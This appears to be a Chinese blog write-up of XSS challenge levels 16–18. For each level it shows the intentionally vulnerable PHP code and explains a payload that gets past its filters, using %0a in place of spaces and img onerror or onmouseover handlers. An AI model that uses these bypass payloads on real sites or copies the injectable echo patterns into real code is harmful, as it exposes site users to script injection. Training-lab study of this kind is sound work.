XSS挑戰賽(4)
阿新 • • 發佈:2020-08-16
16-20關
關鍵程式碼為:
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace(" ","",$str2); $str4=str_replace("/","",$str3); $str5=str_replace(" ","",$str4); echo "<center>".$str5."</center>"; ?>
對 script,空格 ,/ ,都進行了替換,但是沒有對尖括號進行替換,而不使用script進行彈窗有很多的方式,例如我們使用 img 標籤進行彈窗
payload為
?keyword=<img%0asrc=x%0aonerror=alert(1)>
因為空格被過濾了,所以我們採用一些能夠替換空格的字元進行繞過,這裡使用%0a
十七關
關鍵程式碼為:
<?php ini_set("display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
之前使用 htmlspecialchars 函式過濾的地方,我們都是大部分是通過 on 事件來觸發XSS,這裡也一樣,但是中間有等號,需要閉合掉
payload構造為
?arg01=a&arg02=b%0aonmouseover=alert(1)
使用onmouseover滑鼠移動事件來觸發XSS
原始碼為:
十八關
關鍵程式碼為:
<?php ini_set("display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; ?>
感覺這個程式碼跟前一關差不多
用之前的payload
?arg01=a&arg02=b onmouseover=alert(1)
通過此關